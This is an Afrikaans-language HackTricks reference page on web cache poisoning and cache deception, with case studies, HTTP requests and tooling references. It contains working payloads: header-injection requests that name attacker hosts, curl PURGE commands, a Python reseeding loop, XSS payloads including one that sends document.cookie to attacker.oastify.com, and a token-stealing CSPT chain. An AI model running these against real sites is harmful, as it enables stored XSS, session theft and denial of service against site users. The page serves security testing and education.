Cache Poisoning and Cache Deception

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Die verskil

Wat is die verskil tussen web cache poisoning en web cache deception?

  • In web cache poisoning, veroorsaak die aanvaller dat die toepassing kwaadwillige inhoud in die cache stoor, en hierdie inhoud word uit die cache aan ander gebruikers van die toepassing bedien.
  • In web cache deception, veroorsaak die aanvaller dat die toepassing sensitiewe inhoud wat aan ’n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache terug.

Cache Poisoning

Cache poisoning is daarop gemik om die client-side cache te manipuleer sodat kliënte hulpbronne laai wat onvoorsiene, gedeeltelik, of onder beheer van ’n aanvaller is. Die omvang van die impak hang af van die gewildheid van die geraakte bladsy, aangesien die besmette response slegs bedien word aan gebruikers wat die bladsy besoek tydens die tydperk van cache-besmetting.

Die uitvoering van ’n cache poisoning aanval behels verskeie stappe:

  1. Identification of Unkeyed Inputs: Dit is parameters wat, alhoewel nie nodig is vir ’n versoek om in die cache gestoor te word nie, die response wat deur die bediener teruggegee word kan verander. Om hierdie inputs te identifiseer is noodsaaklik aangesien hulle uitgebuit kan word om die cache te manipuleer.
  2. Exploitation of the Unkeyed Inputs: Nadat die unkeyed inputs geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se response op ’n wyse te verander wat die aanvaller bevoordeel.
  3. Ensuring the Poisoned Response is Cached: Die finale stap is om te verseker dat die gemanipuleerde response in die cache gestoor word. Op hierdie manier sal enige gebruiker wat die geraakte bladsy toegang tydens die besoedeling ontvang die besmette response.

Ontdekking: Kontroleer HTTP headers

Gewoonlik, wanneer ’n response in die cache gestoor is sal daar ’n header wees wat dit aandui, jy kan kyk watter headers jy moet aandag gee in hierdie pos: HTTP Cache headers.

Ontdekking: Cacheer foutkodes

As jy dink die response word in ’n cache gestoor, kan jy probeer om versoeke met ’n slegte header te stuur, wat geantwoord moet word met ’n status code 400. Dan probeer om die versoek normaal te benader en as die response ’n 400 status code is, weet jy dit is kwesbaar (en jy kan selfs ’n DoS uitvoer).

You can find more options in:

Cache Poisoning to DoS

Hou egter in gedagte dat soms hierdie tipe status kodes nie gekache word nie dus kan hierdie toets nie betroubaar wees nie.

Ontdekking: Identifiseer en evalueer unkeyed inputs

Jy kan Param Miner gebruik om parameters en headers te brute-force wat die response van die bladsy kan verander. Byvoorbeeld, ’n bladsy kan die header X-Forwarded-For gebruik om aan te dui dat die kliënt die script daarvandaan moet laai:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Elicit a harmful response from the back-end server

Met die parameter/header geïdentifiseer, kyk hoe dit gesaniteer word en waar dit weerstraal of die respons vanaf die header beïnvloed. Kan jy dit tog misbruik (perform an XSS of laai ’n JS code wat deur jou beheer word? perform ’n DoS?…)

Get the response cached

Sodra jy die page geïdentifiseer het wat misbruik kan word, watter parameter/header om te gebruik en hoe om dit te misbruik, moet jy die bladsy in die cache kry. Afhangend van die resource wat jy probeer in die cache kry, kan dit ’n rukkie neem; jy mag vir verskeie sekondes moet probeer.

Die header X-Cache in die respons kan baie nuttig wees aangesien dit die waarde miss kan hê wanneer die versoek nie gekas was nie en die waarde hit wanneer dit gekas is.
Die header Cache-Control is ook interessant om te weet of ’n resource gekas word en wanneer die volgende keer die resource weer gekas sal word: Cache-Control: public, max-age=1800

Nog ’n interessante header is Vary. Hierdie header word dikwels gebruik om bykomende headers aan te dui wat as deel van die cache key behandel word, selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die aanvaller die User-Agent van die teiken ken, kan hy die cache vergiftig vir gebruikers wat daardie spesifieke User-Agent gebruik.

Nog ’n header verwant aan die cache is Age. Dit definieer die tyd in sekondes wat die objekt in die proxy cache is.

Wanneer jy ’n versoek in die cache sit, wees versigtig met die headers wat jy gebruik want sommige van hulle kan onverwag gebruik word as gesleutel en die victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it’s working.

Foundational cache poisoning case studies

HackerOne global redirect via X-Forwarded-Host

  • Die origin het redirects en kanonieke URLs gegenereer met X-Forwarded-Host, maar die cache key het slegs die Host header gebruik, so ’n enkele respons het elke besoeker na / vergiftig.
  • Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • Vra onmiddellik weer / aan sonder die spoofed header; as die redirect voortduur het jy ’n globale host-spoofing primitive wat dikwels reflected redirects/Open Graph links opgradeer na stored issues.

GitHub repository DoS via Content-Type + PURGE

  • Anonieme verkeer was slegs op die path gekeyed, terwyl die backend in ’n fouttoestand beland het toe dit ’n onverwagte Content-Type gesien het. Daardie foutrespons was cacheable vir elke nie-geauthentiseerde gebruiker van ’n repo.
  • GitHub het ook (per ongeluk) die PURGE verb gerespekteer, wat die aanvaller toegelaat het om ’n gesonde entry te flush en caches te dwing om die poisoned variant op aanvraag te pull:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • Vergelyk altyd authenticated vs anonymous cache keys, fuzz headers wat selde as keys gebruik word, soos Content-Type, en probe vir blootgestelde cache-maintenance verbs om re-poisoning te automate.

Shopify cross-host persistence loops

  • Multi-layer caches vereis soms meerdere identiese hits voordat ’n nuwe object gecommit word. Shopify het dieselfde cache oor baie gelokaliseerde hosts hergebruik, so persistence het impak op baie properties beteken.
  • Gebruik kort automation loops om herhaaldelik te reseed:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • Na ’n hit-antwoord, kruip ander hosts/assets wat dieselfde cache-naamruimte deel om die oor-domein impakradius aan te toon.

JS asset-omleiding → stored XSS ketting

  • Privaat programme bied gereeld gedeelde JS soos /assets/main.js oor dosyne subdomeine aan. As X-Forwarded-Host die omleidingslogika vir daardie assets beïnvloed maar nie in die cache-sleutel ingesluit is nie, word die in die cache gestoorde antwoord ’n 301 na aanvaller-JS, wat stored XSS oral waar die asset ingevoer word tot gevolg het.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • Karteer watter hosts dieselfde asset-pad hergebruik sodat jy kompromittering oor meerdere subdomeine kan bewys.

GitLab statiese DoS via X-HTTP-Method-Override

GitLab het statiese bundels vanaf Google Cloud Storage bedien, wat X-HTTP-Method-Override eerbiedig. Die oorskrywing van GET na HEAD het ’n kasbare 200 OK met Content-Length: 0 teruggegee, en die edge cache het die HTTP-metode geïgnoreer toe dit die sleutel gegenereer het.

GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • Een enkele versoek het die JS bundle met ’n leë body vir elke GET vervang, wat die UI effektief DoSed het. Toets altyd method overrides (X-HTTP-Method-Override, X-Method-Override, ens.) teen statiese assets en bevestig of die cache per metode verskil.

HackerOne statiese asset-lus via X-Forwarded-Scheme

  • Rails’ Rack middleware het X-Forwarded-Scheme vertrou om te besluit of HTTPS afgedwing moes word. Deur http teen /static/logo.png te spoof het ’n cacheable 301 getrigger, sodat alle gebruikers daarna herleidings (of lusse) in plaas van die asset ontvang het:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • Kombineer scheme spoofing met host spoofing waar moontlik om onherroeplike redirects te skep vir uiters sigbare hulpbronne.

Cloudflare host-header kapitaliseringsverskil

  • Cloudflare genormaliseer die Host header vir cache keys maar het die rou kapitalisering na origins deurgestuur. Deur Host: TaRgEt.CoM te stuur het dit alternatiewe gedrag in origin routing/templating geaktiveer terwyl dit steeds die canonical lowercase cache bucket gevul het.
GET / HTTP/1.1
Host: TaRgEt.CoM
  • Enumereer CDN tenants deur mixed-case hosts (en ander normalized headers) te replay en diff die cached response teenoor die origin response om shared-platform cache poisonings op te spoor.

Red Hat Open Graph meta poisoning

  • Deur X-Forwarded-Host binne Open Graph tags in te inject, het ’n reflected HTML injection in ’n stored XSS verander sodra die CDN die bladsy gecached het. Gebruik ’n harmless cache buster tydens toetsing om produksiegebruikers nie te benadeel nie:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • Sosiale media scrapers gebruik cached Open Graph tags, sodat ’n enkele poisoned entry die payload veel verder versprei as direkte besoekers.

Voorbeelde van uitbuiting

Maklikste voorbeeld

’n header soos X-Forwarded-For word ongesuiwer in die respons gereflekteer.
Jy kan ’n basiese XSS payload stuur en die cache besoedel sodat almal wat die bladsy besoek XSSed sal word:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Let wel: dit sal ’n versoek na /en?region=uk bederf, nie na /en nie

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning deur CDNs

In this writeup word die volgende eenvoudige scenario verduidelik:

  • Die CDN sal enigiets onder /share/ cache
  • Die CDN sal NIE %2F..%2F decodeer of normaliseer nie; daarom kan dit gebruik word as path traversal to access other sensitive locations that will be cached soos https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Die webbediener sal WEL %2F..%2F decodeer en normaliseer, en sal reageer met /api/auth/session, wat die auth token bevat.

Cookies kan ook in die respons van ’n bladsy gereflekteer word. As jy dit byvoorbeeld kan misbruik om ’n XSS te veroorsaak, kan jy XSS in verskeie kliënte uitbuit wat die kwaadwillige cache-antwoord laai.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Let wel dat as die kwesbare cookie baie deur gebruikers gebruik word, gewone versoeke die cache sal skoonmaak.

Generering van teenstrydighede met afbakeningstekens, normalisering en punte

Kyk:

Cache Poisoning via URL discrepancies

Cache poisoning met path traversal om API key te steel

Hierdie writeup verduidelik hoe dit moontlik was om ’n OpenAI API key te steel met ’n URL soos https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 omdat alles wat met /share/* ooreenstem gekasj sal word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.

Dit word ook beter verduidelik in:

Cache Poisoning via URL discrepancies

Gebruik van verskeie headers om web cache poisoning vulnerabilities te misbruik

Soms sal jy nodig hê om verskeie unkeyed inputs te exploiteer om ’n cache te kan misbruik. Byvoorbeeld, jy mag ’n Open redirect vind as jy X-Forwarded-Host op ’n domain stel wat deur jou beheer word en X-Forwarded-Scheme op http. As die bediener alle HTTP versoeke na HTTPS deurstuur en die header X-Forwarded-Scheme as die domainnaam vir die redirect gebruik, kan jy beheer waarheen die bladsy deur die redirect wys.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploiting with limited Varyheader

Indien jy gevind het dat die X-Host header gebruik word as domeinnaam om ’n JS resource te laai maar die Vary header in die response aandui User-Agent, moet jy ’n manier vind om die User-Agent van die slagoffer te exfiltrateer en die cache te poison met daardie user agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Stuur ’n GET request met die request beide in die URL en in die body. As die web server die een uit die body gebruik, maar die cache server die een uit die URL cache, sal enigiemand wat daardie URL besoek eintlik die parameter uit die body gebruik. Soos die vuln wat James Kettle op die Github website gevind het:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Daar is ’n PortSwigger-lab hieroor: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Byvoorbeeld is dit moontlik om parameters in ruby servers te skei met die karakter ; in plaas van &. Dit kan gebruik word om unkeyed parameter values binne keyed ones te plaas en dit uit te buit.

PortSwigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Leer hier hoe om Cache Poisoning attacks by abusing HTTP Request Smuggling.

Geautomatiseerde toetsing vir Web Cache Poisoning

Die Web Cache Vulnerability Scanner kan gebruik word om outomaties vir web cache poisoning te toets. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar.

Voorbeeldgebruik: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Hierdie werklike-wêreld patroon koppel ’n header-based reflection primitive aan CDN/WAF-gedrag om betroubaar die cached HTML wat aan ander gebruikers bedien word, te poison:

  • Die hoof-HTML het ’n onbetroubare versoekheader (bv. User-Agent) in ’n uitvoerbare konteks gereflekteer.
  • Die CDN het cache-headers verwyder, maar ’n internal/origin cache het bestaan. Die CDN het ook versoeke wat op statiese uitbreidings eindig (bv. .js) outomaties gecache, terwyl die WAF swakker inhoudsinspeksie op GETs vir statiese assets toegepas het.
  • Vreemdhede in die versoekvloei het toegelaat dat ’n versoek na ’n .js pad die cache key/variant wat gebruik is vir die daaropvolgende hoof-HTML beïnvloed, wat cross-user XSS via header reflection moontlik maak.

Praktiese resep (waargeneem by ’n gewilde CDN/WAF):

  1. Van ’n skoon IP (vermy voorafgaande reputasie-gebaseerde afgraderings), stel ’n kwaadwillige User-Agent via die blaaier of Burp Proxy Match & Replace.
  2. In Burp Repeater, berei ’n groep van twee requests voor en gebruik “Send group in parallel” (single-packet mode werk die beste):
  • Eerste versoek: GET ’n .js resource pad op dieselfde origin terwyl jy jou kwaadwillige User-Agent stuur.
  • Onmiddellik daarna: GET die hoofblad (/).
  1. Die CDN/WAF-routing-resies tesame met die outo-gecachete .js saai dikwels ’n poisoned cached HTML-variant wat dan aan ander besoekers bedien word wat dieselfde cache key-voorwaardes deel (bv. dieselfde Vary dimensies soos User-Agent).

Voorbeeld header payload (om non-HttpOnly koekies te exfiltreer):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • Baie CDNs verberg cache headers; poisoning mag slegs opduik op verversingsiklusse van meerdere ure. Gebruik verskeie waarnemings‑IP’s en throttle om rate-limit of reputasie‑triggers te vermy.
  • Die gebruik van ’n IP vanaf die CDN se eie cloud verbeter soms routing‑konsekwentheid.
  • As ’n stringe CSP teenwoordig is, werk dit steeds as die reflection in die hoof‑HTML‑konteks uitgevoer word en CSP inline‑uitvoering toelaat of deur die konteks omseil word.

Impact:

  • Indien sessiekoekies nie HttpOnly is nie, kan zero-click ATO moontlik wees deur mass-exfiltrating van document.cookie vanaf alle gebruikers wat die vergiftigde HTML ontvang.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Dit skryf ewekansige HTML onder ’n deur die aanvaller gekose cache key, en stel presiese poisoning in staat sodra die cache keys bekend is.

Vir volledige besonderhede (cache key-opbou, ItemService-enumerasie en ’n gekoppelde post-auth deserialisasie RCE):

Sitecore

Kwetsbare Voorbeelde

Apache Traffic Server (CVE-2021-27577)

ATS het die fragment binne die URL deurgestuur sonder om dit te verwyder en het die cache key slegs gegenereer op grond van die host, path en query (die fragment geïgnoreer). Dus is die versoek /#/../?r=javascript:alert(1) na die backend gestuur as /#/../?r=javascript:alert(1) en die cache key het nie die payload daarin gehad nie — net host, path en query.

403 en Storage Buckets

Cloudflare het voorheen 403 antwoorde in die cache gestoor. Om S3 of Azure Storage Blobs met foutiewe Authorization headers te benader sou ’n 403-antwoord tot gevolg hê wat in die cache beland het. Alhoewel Cloudflare opgehou het om 403-antwoorde te cache, kan hierdie gedrag nog steeds in ander proxy-dienste voorkom.

Inspuiting van sleutelparameters

Caches sluit dikwels spesifieke GET-parameters in die cache key in. Byvoorbeeld, Fastly’s Varnish het die size parameter in versoeke gecache. As ’n URL-geënkodeerde weergawe van die parameter (bv. siz%65) egter ook met ’n verkeerde waarde gestuur is, sou die cache key gekonstrueer word met die korrekte size parameter. Die backend sou egter die waarde in die URL-geënkodeerde parameter verwerk. Die URL-enkodering van die tweede size-parameter het gelei tot sy weglating deur die cache maar sy gebruik deur die backend. Om aan hierdie parameter die waarde 0 toe te ken het ’n cacheable 400 Bad Request-fout tot gevolg gehad.

User Agent‑reëls

Sommige ontwikkelaars blokkeer versoeke met user-agents wat ooreenstem met dié van hoog‑verkeer instruments soos FFUF of Nuclei om bedienerlas te beheer. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.

Onwettige Header‑velde

Die RFC7230 spesifiseer die aanvaarbare karakters in headername. Headers wat karakters buite die gespesifiseerde tchar-reeks bevat, behoort idealiter ’n 400 Bad Request-antwoord te trigger. In die praktyk hou bedieners nie altyd by hierdie standaard nie. ’n Noemenswaardige voorbeeld is Akamai, wat headers met ongeldige karakters deurstuur en enige 400-fout cache, solank die cache-control header nie teenwoordig is nie. ’n Eksploiteerbare patroon is geïdentifiseer waar die stuur van ’n header met ’n onwettige karakter, soos \, tot ’n cacheable 400 Bad Request-fout gelei het.

Vind nuwe headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Die doel van Cache Deception is om clients te laat laai hulpbronne wat deur die cache gestoor gaan word met hul sensitiewe inligting.

Eerstens let daarop dat uitbreidings soos .css, .js, .png ens. gewoonlik gekofniegureerd is om in die cache gestoor te word. Daarom, as jy toegang kry tot www.example.com/profile.php/nonexistent.js sal die cache waarskynlik die antwoord stoor omdat dit die .js uitbreiding sien. Maar as die toepassing reageer met die sensitiewe gebruikersinhoud wat in www.example.com/profile.php gestoor is, kan jy daardie inhoud van ander gebruikers steel.

Ander dinge om te toets:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Gebruik minder bekende uitbreidings soos .avif

’N Ander baie duidelike voorbeeld vind jy in hierdie write-up: https://hackerone.com/reports/593712.
In die voorbeeld word verduidelik dat as jy ’n nie‑bestaanbare bladsy laai soos http://www.example.com/home.php/non-existent.css die inhoud van http://www.example.com/home.php (met die gebruiker se sensitiewe inligting) teruggestuur gaan word en die cache‑bediener die resultaat gaan stoor.
Dan kan die aanvaller http://www.example.com/home.php/non-existent.css in hul eie blaaier besoek en die vertroulike inligting van die gebruikers wat dit voorheen geraadpleeg het sien.

Let daarop dat die cache proxy gekonfigureer moet wees om lêers te cache gebaseer op die uitbreiding van die lêer (.css) en nie gebaseer op die content-type nie. In die voorbeeld sal http://www.example.com/home.php/non-existent.css ’n text/html content-type hê in plaas van ’n text/css mime‑type.

Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

Hierdie patroon kombineer ’n Client-Side Path Traversal (CSPT) primitive in ’n Single-Page App (SPA) met extension-based CDN caching om sensitiewe JSON wat oorspronklik slegs via ’n geauthentiseerde API-aanroep beskikbaar was, publieklik in die cache te plaas.

Hoëvlak-idee:

  • ’n Sensitiewe API-endpoint vereis ’n pasgemaakte auth header en is korrek gemerk as non-cacheable by origin.
  • Deur ’n staties-voorkomende agtervoegsel by te voeg (bv. .css) behandel die CDN die pad as ’n statiese asset en cache die antwoord, dikwels sonder om op sensitiewe headers te varieer.
  • Die SPA bevat CSPT: dit konkatenateer ’n gebruiker-beheerde padsegment in die API-URL terwyl dit die slagoffer se auth header aanheg (byvoorbeeld X-Auth-Token). Deur ../.. traversal in te spuit, word die geauthentiseerde fetch herlei na die cacheable padvariant (…/v1/token.css), wat veroorsaak dat die CDN die slagoffer se token JSON onder ’n publieke cache key stoor.
  • Enigeen kan dan daardie selfde cache key sonder verifikasie GET en die slagoffer se token bekom.

Example

  • Sensitiewe endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • Staties-agtige agtervoegsel maak CDN cacheable:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT in SPA voeg auth header by en laat traversal toe:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • Exploit chain:
  1. Lok die slagoffer na ’n URL wat dot-segments in die SPA padparameter inspuit, e.g.:
  1. Die SPA maak ’n geauthentiseerde fetch na:
  1. Blaaier-normalisering los dit op na:
  1. Die CDN beskou .css as ’n statiese hulpbron en kas die JSON met Cache-Control: public, max-age=…
  2. Openbare herwinning: enigiemand kan dan GET https://api.example.com/v1/token.css en kry die gekasde token JSON.

Preconditions

  • SPA voer ’n geauthentiseerde fetch/XHR uit na dieselfde API origin (of cross-origin met werkende CORS) en heg sensitiewe headers of bearer tokens aan.
  • Edge/CDN pas extension-based caching toe vir staties-lykende paadjies (bv., *.css, *.js, images) en varieer nie die cache key op die sensitiewe header nie.
  • Origin vir die basiese endpoint is nie-kasbaar (korrek), maar die extension-suffixed variant word toegelaat of nie deur edge-reëls geblokkeer nie.

Validation checklist

  • Identifiseer sensitiewe dinamiese endpoints en probeer suffixes soos .css, .js, .jpg, .json. Soek na Cache-Control: public/max-age en X-Cache: Hit (of ekwivalent, bv. CF-Cache-Status) terwyl inhoud steeds JSON bly.
  • Vind kliëntkode wat gebruiker-beheerde insette in API-paaie aaneenbind terwyl dit auth headers heg. Injecteer ../ reekse om die geauthentiseerde versoek na jou teiken-endpoint te herlei.
  • Bevestig dat die geauthentiseerde header teenwoordig is op die hergerigte versoek (bv. in ’n proxy of via server-side logs) en dat die CDN die respons onder die deurloopte pad kas.
  • Vanaf ’n vars konteks (geen auth), versoek dieselfde pad en bevestig dat die geheime JSON vanaf die kas bedien word.

Automatic Tools

  • toxicache: Golang-scanner om web cache poisoning vulnerabilities in ’n lys van URLs te vind en verskeie injection techniques te toets.
  • CacheDecepHound: Python scanner ontwerp om Cache Deception vulnerabilities op web servers op te spoor.

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks